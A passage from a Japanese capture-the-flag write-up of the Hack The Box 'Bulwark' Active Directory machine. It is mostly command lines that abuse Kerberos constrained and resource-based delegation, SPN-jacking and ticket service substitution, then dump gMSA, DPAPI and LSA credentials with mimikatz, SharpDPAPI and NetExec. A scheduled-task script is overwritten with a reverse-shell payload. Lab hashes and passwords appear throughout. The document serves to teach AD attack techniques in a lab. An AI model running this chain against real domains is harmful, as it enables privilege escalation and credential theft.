一方、同じTGTチケットをlowprivアカウントのNTLMハッシュを使用して取得すると、ほぼ確実にRC4でTGTチケットが暗号化されます。
cmd
./impacket-theporgs/examples/getTGT.py TEST.LOCAL/lowpriv -hashes :E19CCF75EE54E06B06A5907AF13CEF42

続いて、lowprivアカウントのNTLMハッシュと取得したTicket Session Key
の値でsmbpasswdスクリプトを使用して、アカウントのパスワードをセッション鍵に変更します。
cmd:
./impacket-theporgs/examples/smbpasswd.py test.local/lowpriv:P@ssw0rd@dc.test.local -newhashes :7c8935acb02583fc769ffae560c7242f

準備が整ったため、以下の通り取得したlowprivアカウントのTGTチケットを環境変数KRB5CCNAME
に設定し、カスタムなgetSTスクリプトを用いて、Administratorアカウントを委任先のSPNcifs/fileserver.test.local
に対してimpersontateします。
U2U(User2User)に対応したgetST: https://github.com/ShutdownRepo/impacket/blob/2fc02e655bd799465fa62d235905263b00cf2db3/examples/getST.py
cmd:
export KRB5CCNAME=lowpriv.ccache python3 getST_mod.py test.local/lowpriv -k -no-pass -u2u -impersonate Administrator -spn cifs/fileserver.test.local

最後に、取得したAdministratorアカウントのTGSチケットを環境変数KRB5CCNAME
に設定し、smbclientスクリプトを使用して、対象のFILESERVERサーバの管理者シェアC$
にアクセスします。
cmd:
export KRB5CCNAME=Administrator@cifs_fileserver.test.local@TEST.LOCAL.ccache impacket-smbclient TEST.LOCAL/Administrator@fileserver.test.local -k -no-pass

- ユーザアカウントへのSPN設定による悪用(任意のアカウントにおいてGenericWriteなどの書き込み権限がある場合)
RBCDを行うために必要な委任元(今回でいうユーザアカウント)の条件として、コンピュータアカウントである必要はなく、アカウントにSPNが設定されている必要があります。
※ もちろん、コンピュータアカウントには必ずSPNが設定されており、この条件を満たすことになります。
BloodHoundの結果を確認するとm.bensonアカウントになぜかSPNとしてMS01/m.benson
が設定されていることがわかります。その結果、このアカウントはそのまま(RBCDの項目②で説明した通り)RBCDの委任元として使用可能になります。
上記でも説明した通り、一般的な方法でS4U2Selfを実行してみると、lowprivアカウントのチケットの復号に失敗することが確認できます。
cmd:
./impacket-theporgs/examples/getST.py TEST.LOCAL/lowpriv:P@ssw0rd -impersonate Administrator -spn serviceaccount/test.local
ここで、以下のようにlowprivアカウントにSPNを設定します。
SPNの設定が可能な状況として、lowprivアカウントに書き込み権限を持つアカウントの取得に成功した場合などを想定しています。
cmd:
powerview test.local/Administrator:P@ssw0rd@dc.test.local Set-DomainObject -Identity lowpriv -Set 'ServicePrincipalName=WEB/test.local'

続いて、getSTスクリプトを用いて、FILESERVERサーバのSPNcifs/fileserver.test.local
にAdministratorアカウントをimpersonateします。するとS4U2SelfおよびS4U2Proxyに成功することが確認できます。
cmd:
./impacket-theporgs/examples/getST.py test.local/lowpriv:P@ssw0rd -impersonate Administrator -spn cifs/fileserver.test.local

最後に、取得したAdministratorアカウントのTGSチケットを環境変数KRB5CCNAME
に設定し、smbclientスクリプトを使用して、攻撃対象であったFILESERVERサーバの管理者シェアC$
にアクセスします。
cmd:
export KRB5CCNAME=Administrator@cifs_fileserver.test.local@TEST.LOCAL.ccache impacket-smbclient TEST.LOCAL/Administrator@fileserver.test.local -k -no-pass

3) 対象コンピュータに書き込み可能なユーザアカウントのみを使う場合(Shadow credentials)
この方法はあまり関連しないため、今回は省略します。
ご興味がある方には、以下の記事をおすすめします。
参考記事: https://eladshamir.com/2021/06/21/Shadow-Credentials.html
本環境での攻撃シミュレーション
ここでは検証環境で同様の設定を行い、cifs/FS01
のSPNが実際に存在する(検証環境においてはcifs/fileserver.test.local
)と想定して攻撃を実施してみます。backupserviceアカウントの代わりにserviceaccountアカウントを作り、適当なSPNとしてcifs/fileserver.test.local
へのConstrained Delegation without Protocol Transitionを設定します。
設定結果の確認例です。
また、m.bensonアカウントと同等のlowprivアカウントを作成し、SPNWEB/test.local
を設定します。さらに、lowprivアカウントにはserviceaccountアカウントのパスワード取得権限とserviceaccountアカウントに対する書き込み権限を付与しておきます。
攻撃は以下の流れになります。
1) RBCDの設定:serviceaccountアカウントにlowprivアカウント自身をRBCDの委任元(msDS-AllowedToActOnBehalfOfOtherIdentity)として設定します。
cmd:
./impacket-theporgs/examples/rbcd.py test.local/lowpriv:P@ssw0rd -delegate-to serviceaccount$ -action write -delegate-from lowpriv

2) lowprivアカウントを用いてserviceaccountアカウントに委任を実施します。そのため、getSTスクリプトとlowprivアカウントの認証情報を用いて、serviceaccountアカウントのSPNserviceaccount/test.local
にAdministratorアカウントをimpersonateします。ちゃんとForwardableフラグがつくことも確認します。
cmd:
./impacket-theporgs/examples/getST.py TEST.LOCAL/lowpriv:P@ssw0rd -impersonate Administrator -spn serviceaccount/test.local ./impacket-theporgs/examples/describeTicket.py Administrator@serviceaccount_test.local@TEST.LOCAL.ccache

3) serviceaccountアカウントの認証情報が必要になるため、lowprivアカウントの認証情報を用いてgMSADumperでserviceaccountアカウントの認証情報を取得します。
gMSADumper: https://github.com/micahvandeusen/gMSADumper
cmd:
python3 gMSADumper.py -d test.local -u lowpriv -p P@ssw0rd

4) 続いて、serviceaccountアカウントが委任元と設定されているSPNcifs/fileserver.test.local
に委任を実行します。そのため、またgetSTスクリプトとserviceaccountアカウントの認証情報を用いて、FILESERVERサーバのSPNcifs/fileserver.test.local
にAdministratorアカウントをimpersonateします。この際、手順2で取得したAdministratorアカウントのForwardableフラグ付きTGSチケットが必要になります。
cmd:
./impacket-theporgs/examples/getST.py TEST.LOCAL/serviceaccount$ -hashes :402cf2e39d8609f5f8b63235c9f6a345 -impersonate Administrator -spn cifs/fileserver.test.local -additional-ticket Administrator@serviceaccount_test.local@TEST.LOCAL.ccache ./impacket-theporgs/examples/describeTicket.py Administrator@cifs_fileserver.test.local@TEST.LOCAL.ccache

5) 最後に、取得したAdministratorアカウントのTGSチケットを環境変数KRB5CCNAME
に設定し、smbclientスクリプトを使用して、対象のFILESERVERサーバの管理者シェアC$
にアクセスします。
cmd:
export KRB5CCNAME=Administrator@cifs_fileserver.test.local@TEST.LOCAL.ccache ./impacket-theporgs/examples/smbclient.py TEST.LOCAL/Administrator@fileserver.test.local -k -no-pass

委任についてより細かく知りたい方には以下のリンクをご覧になることを推奨します。
Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
Kerberos Delegation: https://en.hackndo.com/constrained-unconstrained-delegation
本環境における委任の悪用
backupserviceアカウントは任意のドメインアカウント(Protected Usersグループに所属するアカウントを除く)をFS01サーバのCIFSサービスに対して委任が可能なように設定されていましたが、FS01サーバはドメインに存在しないことを確認しました。
他にどのような設定があるかについて、重要なオブジェクトのACLを調べたところ、以下の状況が判明しました。
1) m.bensonアカウントはFS02サーバのSPN(Service Principal Name)の編集が可能です。
cmd:
Get-DomainObjectAcl -Identity FS02

ACE-Typeの確認:
f3a64788-5306-11d1-a9c5-0000f80367c1
(Validated-SPN 検証済み書き込み)

2) m.bensonアカウントはbackupserviceアカウントのRBCD(ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)設定の編集が可能です。
cmd:
Get-DomainObjectAcl -Identity backupservice
3) backupserviceアカウントもbackupserviceアカウント自身のRBCD(ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)設定の編集が可能です。
ACE-Typeの確認:
3f78c3e5-f79a-46bd-a0b8-9d18116ddc79
(ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity属性)

backupserviceアカウントが委任可能なサービス名cifs/FS01
を、m.bensonアカウントによって書き込み可能なFS02サーバのSPN(Service Principal Name)に追加する必要があります。その結果、backupserviceアカウントは任意のアカウント(追加の設定が必要ですが)をFS02サーバの任意のサービス(実質的にCIFSだけではなく)に委任可能になります。
詳細内容について(SPN-jacking): https://www.semperis.com/blog/spn-jacking-an-edge-case-in-writespn-abuse/
FS02サーバのSPNにcifs/FS01
を追加する手順は以下になります。
1) Windows組み込みのsetspnコマンドを使用して追加
cmd(追加):
setspn -A cifs/FS01 FS02

- setspnコマンドを使用すると、既存のSPNに新しいSPNを追加できます。元のSPNは保持され、新しいSPNが追加されます
以下のPowerViewと大きく違い、setspnコマンドを使用してSPNを追加する場合、既存のSPNを上書きすることなく新しいSPNを追加することが可能です。一方、PowerViewを使用して追加する場合、既存のSPNはすべて上書きされてcifs/FS01
のみが設定されてしまいます。CTF中にこの方法を使用してしまい、FS02サーバに侵入した後に先に進めなくなってしまいました。既存のSPNを上書きする影響については後程説明します。
2) WindowsやLinuxにおいてPowerViewを使用して追加(すでにSPNが設定されている場合、上書き)
cmd(上書き):
Set-DomainObject -Identity FS02 -Set 'servicePrincipalname=cifs/FS01'

3) PowerViewを使用して元の設定を残しつつ追加
cmd
Get-DomainObject -Identity FS02 Set-DomainObject -Identity FS02 -Clear servicePrincipalname Set-DomainObject -Identity FS02 -Set 'servicePrincipalname=cifs/FS01,HTTP/FS02.bulwark.htb,TERMSRV/FS02,TERMSRV/FS02.bulwark.htb,WSMAN/FS02,WSMAN/FS02.bulwark.htb,RestrictedKrbHost/FS02,HOST/FS02,RestrictedKrbHost/FS02.bulwark.htb,HOST/FS02.bulwark.htb'

本環境において、Constrained Delegation without Protocol Transitionが設定されていることを改めて確認するため、委任したいユーザのTGSチケットを持たずにimpacketを使用してS4UselfとS4U2proxyを試しました。結果として、S4U2proxyの際に使用するTGSチケットにForwardableフラグが付与されていないことにより、失敗することを確認しました。
backupserviceアカウントのRBCD設定はm.bensonアカウントでも可能ですが、ここではgMSAアカウントのパスワード取得についても紹介したいので、MS01アカウントを使用します。GMSAPasswordReaderをMS01サーバにアップロードし、SYSTEM権限のセッションから実行することでbackupserviceアカウントのパスワードの取得が可能なMS01アカウントとして認証され、backupserviceアカウントの認証情報の取得に成功しました。
GMSAPasswordReader: https://github.com/rvazarkar/GMSAPasswordReader
cmd:
GMSAPasswordReader.exe --domainname bulwark.htb --accountname backupservice$

また、proxychains経由でLinux端末からも取得が可能ですが、本環境のドメインコントローラのLDAPSポートは正常に動作しなかったため、取得に成功しませんでした。
※ gMSAアカウントのパスワード取得にはLDAPSが必須です。
gMSADumper: https://github.com/micahvandeusen/gMSADumper
続いて、RBCDの悪用設定を行いました。
impacketを用いて、m.bensonアカウントからbackupserviceアカウントに対するRBCDを設定しました。
impacket: https://github.com/fortra/impacket
cmd:
proxychains -q -f htb.conf impacket-rbcd bulwark.htb/backupservice$ -hashes :60DADF09CF6131193301D2863ACD8E6D -delegate-to backupservice$ -action write -delegate-from 'm.benson'

backupserviceアカウントの設定が変わり、RBCDが設定されたことを確認しました。
cmd:
proxychains -q -f htb.conf ./impacket-theporgs/examples/findDelegation.py bulwark.htb/m.benson -hashes :7194c10df52e54d9e43bc3b0d16de0ff

設定後、m.bensonアカウントの認証情報を用いてAdministratorアカウントをbackupservice/bulwark.htb
サービス(backupserviceアカウントのSPN)に対して委任させてみた結果、その処理は成功し、有効なチケットが無事取得可能なことを確認しました。
cmd:
proxychains -q -f htb.conf impacket-getST bulwark.htb/m.benson -hashes :7194c10df52e54d9e43bc3b0d16de0ff -spn backupservice/bulwark.htb -impersonate Administrator

最後に最初から狙っていたConstrained Delegationを悪用しました。上記のコマンドと同様にSPN名を対象のcifs/FS01
サービスに設定し、取得したAdministratorチケットをadditional-ticketとして渡しました。その結果、無事にcifs/FS01
サービスに対するAdministratorのTGSチケットの取得に成功しました。
cmd:
proxychains -q -f htb.conf impacket-getST bulwark.htb/backupservice$ -hashes :60DADF09CF6131193301D2863ACD8E6D -spn cifs/FS01 -impersonate Administrator -additional-ticket Administrator@backupservice_bulwark.htb@BULWARK.HTB.ccache

取得したチケットを以下のコマンドで確認しました。
cmd:
describeTicket.py Administrator@cifs_FS01@BULWARK.HTB.ccache

上記の結果を確認しますと、対象SPN名はcifs/FS01
に設定されていました。これからFS02サーバのSMBに接続するためには、以下の方法があります。
- cifs/FS01のまま接続できるが、FS01サーバは存在しないため、手動で/etc/hostsにFS02サーバと同じIPアドレスを設定する
- チケットに設定されたSPN名をcifs/fs02.bulwark.htbに変更する
以下のコマンドによって、TGSチケットのサービス名(cifs、ldap、httpなど)の変更が可能です。
cmd:
tgssub.py -in Administrator@cifs_FS01@BULWARK.HTB.ccache -out Administrator_cifs.ccache -altservice cifs/fs02.bulwark.htb

tgssub.py: https://github.com/fortra/impacket/pull/1256/files
cifs/FS01
に対して発行したTGSチケットがFS02サーバに対して使える理由は、取得したTGSチケットがSPNが設定されているアカウントのパスワードによって暗号化されているためです。cifs/FS01
はFS02サーバに設定されているため、FS02アカウントのパスワードを用いて暗号化されており、正常に復号され有効であると識別されます。
SPNの変更については少し原理が異なります。TGSチケット内のSPNが暗号化されていないため、必要に応じて任意の値(cifs、ldap、httpなど)への変更が可能です。
例:cifs(SMB)へのチケットをhttp(WinRM)に編集
tgssubを使わなくても、getSTスクリプトにaltserviceパラメータを追加することで自動編集が可能です。
cmd:
proxychains -q -f htb.conf impacket-getST bulwark.htb/backupservice$ -hashes :60DADF09CF6131193301D2863ACD8E6D -spn cifs/FS01 -impersonate Administrator -additional-ticket Administrator@backupservice_bulwark.htb@BULWARK.HTB.ccache -altservice cifs/fs02.bulwark.htb

取得したチケットを環境変数KRB5CCNAME
に設定し、klistコマンドで確認が可能です。
cmd:
export KRB5CCNAME=Administrator@cifs_fs02.bulwark.htb@BULWARK.HTB.ccache klist

設定したTGSチケットを用いて、SMBにアクセスしてみると、「STATUS_LOGON_TYPE_NOT_GRANTED」のエラーとなり、アクセスが拒否されることを確認しました。このエラーはAdministratorアカウントにNetwork Logonが禁止されていることが原因であると推測されます。
cmd:
proxychains -q -f htb.conf impacket-smbclient bulwark.htb/Administrator@fs02.bulwark.htb -k -no-pass

Active Directoryでは、委任やNetwork Logonを禁止するグループとしてProtected Users
グループが存在します。BloodHoundでグループメンバー一覧を確認すると、Administratorとg.melworthアカウントがこのグループに所属しており、どちらもドメイン管理者であるため、FS02サーバにログインできない設定になっていることがわかりました。
ドメインユーザの中でFS02サーバに何かアクセス権限がありそうなユーザを探索するために、BloodHoundを使用して各ユーザのLastLogonを確認しました。
その結果、例えばuseradm、m.bristol、a.gartonなどの可能性が高いと思われるアカウント一覧を作成しました。ここでいう権限とは、単なるSMBへのアクセス権限ではなく(ローカル管理者のみがC$シェアにアクセス可能)、その他サービスへのアクセス権限を意図しています。Windowsにおいてローカル管理者権限を保持していなくてもネットワーク経由でアクセス可能なサービスとして、WinRMが挙げられます。
まず、FS02サーバにおいてWinRMサービスが有効かどうかを調査しました。WinRMサービスはHTTPベースのプロトコルのため、curlコマンドでも確認ができました。
cmd:
proxychains -f htb.conf curl fs02.bulwark.htb:5985

TGSチケットのサービス別のサービス名一覧
TGSチケットとサービスの連携:
HTTP/HOST -> WinRM
CIFS/HOST -> SMB
HOST/HOST -> WMI
...
上記の情報をもとにいくつかのユーザのTGSチケットを取得してみたところ、最終的にa.gartonアカウントによってアクセス可能なことを確認しました。
cmd:
proxychains -q -f htb.conf impacket-getST bulwark.htb/m.benson -hashes :7194c10df52e54d9e43bc3b0d16de0ff -spn backupservice/bulwark.htb -impersonate a.garton proxychains -q -f htb.conf impacket-getST bulwark.htb/backupservice$ -hashes :60DADF09CF6131193301D2863ACD8E6D -spn cifs/FS01 -impersonate a.garton -additional-ticket a.garton@backupservice_bulwark.htb@BULWARK.HTB.ccache -altservice cifs/fs02.bulwark.htb export KRB5CCNAME=a.garton@cifs_fs02.bulwark.htb@BULWARK.HTB.ccache

TGSチケットの取得に成功し、SMBへのアクセスが可能なことを確認しましたが、ローカル管理者ではなかったため、管理シェアへのアクセスは不可能でした。
cmd:
proxychains -q -f htb.conf impacket-smbclient bulwark.htb/a.garton@fs02.bulwark.htb -k -no-pass

続いて、WinRMサービスへのアクセスを試みました。ここではevil-winrmを使用しますが、その前に以下のような設定を行う必要があります。
対象ファイル:
/etc/krb5.conf
[libdefaults] default_realm = bulwark.htb dns_lookup_realm = false dns_lookup_kdc = false ticket_lifetime = 24h forwardable = yes rdns = false [realms] BULWARK.HTB = { kdc = DC01.BULWARK.HTB admin_server = DC01.BULWARK.HTB default_domain = bulwark.htb } [domain_realm] .bulwark.htb = BULWARK.HTB bulwark.htb = BULWARK.HTB
tgssubを使用して、サービス名をHTTP/fs02.bulwark.htb
に編集しました。サービス名は大文字のHTTP
にする必要があります。小文字にした場合、evil-winrmはチケットを使用できません。
cmd:
tgssub.py -in a.garton@cifs_fs02.bulwark.htb@BULWARK.HTB.ccache -out a.garton_winrm.ccache -altservice HTTP/fs02.bulwark.htb

編集したTGSチケットを環境変数KRB5CCNAME
に設定したところ、WinRMへのアクセス可能に成功しました。
cmd:
proxychains -q -f htb.conf evil-winrm -r bulwark.htb -i fs02.bulwark.htb

ここまでやってきて、やっとuser.txt
ファイルからuserフラグの取得に成功しました。
Part 4: rootフラグの取得
FS02サーバにおいて権限昇格の調査
サーバに侵入して、プロセスを実行中のアカウントの権限、重要そうなファイルについて調査を行いました。

*Evil-WinRM* PS C:Usersa.gartondesktop> C:>whoami /all
USER INFORMATION
----------------
User Name SID
================ ==============================================
bulwarka.garton S-1-5-21-4088429403-1159899800-2753317549-4103
GROUP INFORMATION
-----------------
Group Name Type SID
==========================================================
BUILTINRemote Management Users Alias S-1-5-32-580
...
*Evil-WinRM* PS C:Usersa.gartondesktop> tree /f /a C:Usersa.garton
Volume serial number is F8CD-0D56
C:USERSA.GARTON
+---Desktop
| user.txt
+---scripts
| OldDelete.ps1
---Videos
OldDelete.ps1
スクリプトを発見しましたが、悪用可能な情報は含まれていないことを確認しました。
*Evil-WinRM* PS C:Usersa.gartonscripts> type OldDelete.ps1
$directoryPath = "C:Usersa.gartonBackupQueue"
$timeLimit = (Get-Date).AddDays(-7)
$files = Get-ChildItem -Path $directoryPath -File
foreach ($file in $files) {
if ($file.LastWriteTime -lt $timeLimit) {
Write-Host "Deleting File: $($file.FullName)"
Remove-Item $file.FullName -Force
}
}
FS02サーバの調査中、a.gartonアカウントのCredential Managerに認証情報が保存されていることを発見しました。しかし、SharpDPAPIを使用して復号を試みたところ、WinRMセッション内にユーザのDPAPI鍵がなかったため、復号に成功しませんでした。
cmd:
.SharpDPAPI.exe triage

サーバの調査を進め、カスタムなOldQueueDelete
タスクが存在することがわかりました。
cmd:
schtasks

OldQueueDelete
タスクの詳細内容を確認しました。
cmd:
schtasks /query /tn "OldQueueDelete" /fo LIST /v

MS01サーバではタスクはbackupserviceアカウントの認証情報によって実行されており、FS02サーバの場合、現在はWinRMにアクセス中のa.gartonアカウントで実行されていました。このタスクを乗っ取っても意味がないと思われるかもしれませんが、実は現在のWinRMセッションとタスク実行時のインタラクティブセッションは大きく異なります。これはWinRMのKerberos Double Hop問題や、WinRM独自のログオンセッションが存在するためです。その結果、ネットワークシェアやユーザのDPAPI鍵へのアクセス(Masterkeyの復号)ができなくなっています。
ここからOldQueueDelete
タスクによって実行されるOldDelete.ps1
ファイルをリバースシェルなどに上書きして、インタラクティブセッションの取得を試みました。
WinRMの認証やセッション情報解析について: https://www.bloggingforlogging.com/2018/01/24/demystifying-winrm/
ファイルをmeterpreterのペイロードに書き換えておきました。
echo '<PowerShell payload>' > C:Usersa.gartonscriptsOldDelete.ps1

※ SPN上書き問題について
ここでは先述していたSPNの上書き問題について説明したいと思います。OldQueueDelete
タスクは、インタラクティブにドメインユーザの認証情報を使用して実行されるため、その際に実行元の端末・サーバの信頼性(マシンアカウントのパスワード)が検証されます。
SPNが上書きされた場合、FS02サーバのSPNに設定されているcifs/FS01
と、現状稼働中のlsassに含まれるcifs/fs02.bulwark.htb
などが異なるため、ドメインコントローラは信頼性の確認ができなくなります。以下のスクリーンショットに示されている通り、任意のドメインアカウントの認証情報で新しいタスクを登録しようとした際、以下のエラーが発生し、この問題が判明しました。
cmd:
schtasks /create /tn "test" /tr "powershell.exe -File C:usersa.gartonscriptsOldDelete.ps1" /sc once /st 12:00 /f /ru bulwark.htbm.benson /rp 'ofgie903-.n!kd-'

FS02サーバのSPNを元の設定に修正すると、正常に動作することを確認しました。
CTF中にこの状態になってしまい、OldQueueDelete
タスクを実行できない状況になっていました。多くの時間を使って原因を調べていたところ、運良く有効なドメインアカウントの認証情報で新しいタスクを登録しようとして、この問題が判明しました。
SPNを追加または元の設定に戻した後に以下のコマンドによってタスクの停止・開始を実施して、FS02サーバからa.gartonアカウントのインタラクティブセッションを取得することに成功しました。
cmd(タスクの停止・開始):

cmd(セッション取得に成功):

DPAPIの利用による認証情報の取得
Windowsに保存される多くの重要情報は、DPAPI(Data Protection Application Programming Interface)によって暗号化されたうえで保存されています。DPAPIは、ユーザやシステムの秘密情報を暗号化するためのAPIです。DPAPIによって暗号化された情報は「blob」と呼ばれ、暗号化するための鍵は「Masterkey」と呼ばれます。アカウントごとに異なる鍵が生成されます。
Active Directory環境では、DPAPIはドメインコントローラに格納されているユーザの秘密情報を保護するためにも使用されます。DPAPIにより暗号化されたデータは、ドメイン管理者が復号可能であり、ドメイン管理者が取得したMasterkeyを使用して、すべての端末上で暗号化された情報を復号できます。また、一般アカウントのセッションを用いてRPC(Remote Procedure Call)を通じて自身のMasterkeyを取得することも可能です。
DPAPIの対象一覧(一例)
- Credential Managerにおいて保存さている認証情報
- ブラウザのCookie/Login Dataを復号するための鍵
- 証明書のプライベート鍵(TPMではない場合)
鍵のある場所:
Masterkey
C:UsersUSERNAMEAppDataRoamingMicrosoftProtectSIDMASTERKEY
Credentials
C:UsersUSERNAMEAppDataRoamingMicrosoftCredentials
C:UsersUSERNAMEAppDataLocalMicrosoftCredentials
手動でファイルシステムを確認するか、SharpDPAPIをtriageコマンドで実行して、blobの存在を確認できます。
SharpDPAPI: https://github.com/GhostPack/SharpDPAPI
cmd:
SharpDPAPI.exe triage

Masterkeyの存在を確認します。
cmd:
gci -Hidden C:Usersa.gartonAppDataRoamingMicrosoftProtectS-1-5-21-4088429403-1159899800-2753317549-4103

mimikatzツールを使用して、以下のコマンドでドメインコントローラからa.gartonアカウントのMasterkeyを取得しました。
mimikatz: https://github.com/gentilkiwi/mimikatz
cmd:
mimikatz.exe "dpapi::masterkey /in:C:Usersa.gartonAppDataRoamingMicrosoftProtectS-1-5-21-4088429403-1159899800-2753317549-41035ee950b9-83e7-4432-8b88-a927efa50745 /rpc /unprotect" "exit"

最後にSharpDPAPIを使用して、対象の認証情報を復号しました。
cmd:
SharpDPAPI.exe triage {5ee950b9-83e7-4432-8b88-a927efa50745}:98129b8110a5edd5af50736a856cb28d2a9993bc

DC01への侵入
取得できたuseradmアカウントの認証情報が実際に使用可能かどうかについて、powerviewを用いて確認しました。
cmd:
proxychains -q -f htb.conf powerview bulwark.htb/useradm:'oo03ifk3L(#kfL)'@dc01.bulwark.htb --use-ldap

改めてBloodHoundに戻って、useradmの権限を確認しました。その結果、useradmは複数グループにおいてメンバーの編集(削除も!)が可能なことを確認しました。
useradmアカウントの認証情報を用いて、powerviewでg.melworthアカウントをProtected Users
グループから削除しました。
cmd:
Remove-DomainGroupMember -Identity 'Protected Users' -Members g.melworth
g.melworthアカウントはもうProtected Users
グループに所属していないため、Network Logonの制限が適用されなくなりました。
そのため、g.melworthアカウントを用いてConstrained Delegationを悪用しました。
cmd:
proxychains -q -f htb.conf impacket-getST bulwark.htb/m.benson -hashes :7194c10df52e54d9e43bc3b0d16de0ff -spn backupservice/bulwark.htb -impersonate g.melworth proxychains -q -f htb.conf impacket-getST bulwark.htb/backupservice$ -hashes :60DADF09CF6131193301D2863ACD8E6D -spn cifs/FS01 -impersonate g.melworth -additional-ticket g.melworth@backupservice_bulwark.htb@BULWARK.HTB.ccache -altservice cifs/fs02.bulwark.htb

現段階では、g.melworthのcifs/fs02.bulwark.htb
サービスに対するTGSチケットの取得に成功し、結果的にFS02サーバにおいてローカル管理者権限の取得にも成功しました。取得したTGSチケットを環境変数に設定し、NetExecを使用してLSA(Local Security Authority secrets)に保存された認証情報を取得しました。
NetExec(旧crackmapexec): https://github.com/Pennyw0rth/NetExec
cmd:export KRB5CCNAME=g.melworth@cifs_fs02.bulwark.htb@BULWARK.HTB.ccache proxychains -q -f htb.conf netexec smb fs02.bulwark.htb -u g.melworth --use-kcache --lsa

取得した内容からドメイン管理者g.melworthの平文認証情報(おそらくFS02サーバの何かのサービスに登録されている)を発見しました。そして、rootフラグはおそらくドメインコントローラにあると推測し、WinRM(任意の方法で可能)を用いてDC01サーバにアクセスして、root.txt
ファイルの取得に成功しました。
cmd:
proxychains -q -f htb.conf evil-winrm -u g.melworth -p 'LLfo043.2@Lld0))' -i dc01.bulwark.htb

おわりに
単なるWriteupと言っても、最初の想定より倍長くなってしまいました。なるべく、できる限り細かく流れ、テクニックや重要なコツなどの説明を入れるようにしてみました。最後まで付き合っていただき、ありがとうございました。
興味を持った方々には、Bulwarkよりもかなり難しいHTBでRetireとなっている「Rebound」マシンをお勧めします。こちらのマシンでは、Active Directoryの委任周りのテクニックがほぼそのまま実装されています。さらに、その他にもさまざまな特殊なやり方とテクニックを学ぶことができるでしょう。